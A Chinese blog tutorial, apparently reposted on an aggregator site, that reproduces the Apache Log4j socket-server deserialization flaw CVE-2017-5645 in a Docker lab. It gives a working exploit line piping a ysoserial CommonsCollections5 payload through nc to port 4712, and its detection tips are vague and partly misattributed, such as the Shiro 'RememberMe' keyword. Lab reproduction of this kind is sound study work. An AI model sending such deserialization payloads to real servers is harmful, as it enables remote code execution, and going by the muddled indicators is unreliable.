Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)

这篇具有很好参考价值的文章主要介绍了Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、漏洞介绍

二、漏洞环境搭建

三、漏洞利用

四、漏洞流量特征:

一、漏洞介绍

CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。

二、漏洞环境搭建

进入漏洞目录文件,启动漏洞环境:docker-compose up -d

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程),中间件漏洞,log4j,apache,服务器查看容器运行状态:docker ps -a

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程),中间件漏洞,log4j,apache,服务器可以看到环境启动成功后,会在4712端口开启了一TCP服务。(至此漏洞环境搭建完成了,使用docker搭建环境就是如此简单易操作)

三、漏洞利用

扫描目标开启的端口:nmap your-ip -p 4712

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程),中间件漏洞,log4j,apache,服务器

在这里我们呢可以看到4712端口是开启的,然后我们使用ysoserial生成payload,然后直接发送给your-ip:4712端口即可。

ysoserial介绍:

是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。(没有工具的小伙伴 可以私聊我)

我们下载打包好的jar文件到我们的kali主机上。

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程),中间件漏洞,log4j,apache,服务器

执行命令:

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712

这个命令是在靶机的/tmp目录下创建一个success文件,如果我们的命令执行成功,那么在靶机上可以找到这个文件。

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程),中间件漏洞,log4j,apache,服务器

 到靶机上进行检测文件是否被创建,命令是否执行成功。

查看容器id:docker ps -a

在靶机上执行命令,打开网站目录:docker exec -it [容器id] /bin/bash

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程),中间件漏洞,log4j,apache,服务器

然后进入到tmp目录,执行命令:cd tmp ,显示目录下文件:ls,可以看到success文件,可见touch /tmp/testsuccess执行成功。

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程),中间件漏洞,log4j,apache,服务器

至此漏洞复现完成。

四、漏洞流量特征:

1、攻击者通常利用Log4j漏洞来执行远程指令,因此攻击流量中可能包含恶意代码。

2、攻击者可以通过利用Log4j漏洞来绕过Web应用程序的安全性,因此攻击流量中可能包含对Web应用程序的修改和访问。

3、攻击者通常会尝试使用恶意代码来启动已被收集的许多有价值的数据,因此攻击流量中可能包含大量的数据包。

在攻击流量中, Log4j漏洞的攻击通常会使用特定的Payload。

判断是否已经攻击成功我们要检查应用程序的日志文件,特别是logs文件夹中的日志文件。

以下是一些可以帮助判断漏洞是否被利用的指标:

当日志文件中出现“RememberMe”或“Admin”等关键字。

日志文件中出现远程代码执行相关的异常信息。

检查系统中是否存在未知的网络流量,特别是与恶意IP地址之间的流量。

检查服务器的端口使用情况,确认是否存在未知的端口使用。文章来源地址https://www.toymoban.com/news/detail-586630.html

到了这里,关于Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【java安全】Log4j反序列化漏洞

    关于Apache Log4j Log4j是Apache的开源项目,可以实现对System.out等打印语句的替代,并且可以结合spring等项目,实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码,满足了大多数要求。 就是用来打印日志的 漏洞成因

    2024年02月11日
    浏览(35)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(41)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 简单从安全角度

    2024年02月09日
    浏览(32)
  • 036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

    1、JavaEE-组件安全-Log4j 2、JavaEE-组件安全-Fastjson 3、JavaEE-基本了解-JNDI-API 演示案例: ➢Java-三方组件-Log4JJNDI ➢Java-三方组件-FastJson反射 Jar仓库: https://mvnrepository.com/ Maven配置: https://www.jb51.net/article/259780.htm JNDI相关概念: 1、JNDI是一个接口,在这个接口下会有多种目录系统

    2024年02月21日
    浏览(39)
  • Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

    Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击

    2024年02月08日
    浏览(30)
  • Log4j2 反序列化漏洞与复现

    Log4j → Log for Java ,Apache的开源日志记录组件 JDK →1.8u21以下的版本 CVE-2021-44228 远程代码执行 →2.15.0修复 CVE-2021-45046 拒绝服务Dos →2.16.0修复 CVE-2021-45105 拒绝服务Dos →2.17.0修复 CVE-2021-44832 远程代码执行 →2.17.1修复 Log4j为了输出日志时能输出任意位置的Java对象,引入了Looku

    2024年02月05日
    浏览(39)
  • CVE-2021-44228 Apache log4j 远程命令执行漏洞

    一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,

    2024年02月08日
    浏览(40)
  • 完美解决:apache log4j cannot resolve问题

    引入下列pom文件

    2024年02月16日
    浏览(32)
  • 【异常】org.apache.logging.log4j.LoggingException: log4j-slf4j-impl cannot be present with log4j-to-slf4

    这个错误表明在你的项目中同时引入了 log4j-slf4j-impl 和 log4j-to-slf4j 两个依赖,而这两者是互斥的,不能同时存在。 解决这个问题有两种方式: 移除冲突的依赖 : 在你的项目的构建文件(如 pom.xml )中,找到引入的依赖列表,检查是否同时引入了 log4j-slf4j-impl 和 log4j-to-slf

    2024年02月04日
    浏览(25)
  • Maven编译java及解决程序包org.apache.logging.log4j不存在问题

    1、首先新建一个文件夹,比如hello Hello里新建pom.xml 注意上面dependencies部分用于解决程序包org.apache.logging.log4j不存在问题,即 Maven编译java及解决程序包org.apache.logging.log4j不存在问题 和文件夹srcmainjava java里新建Exploit.java和LogTest.java Exploit.java LogTest.java 2、然后使用meve compile编

    2024年02月10日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包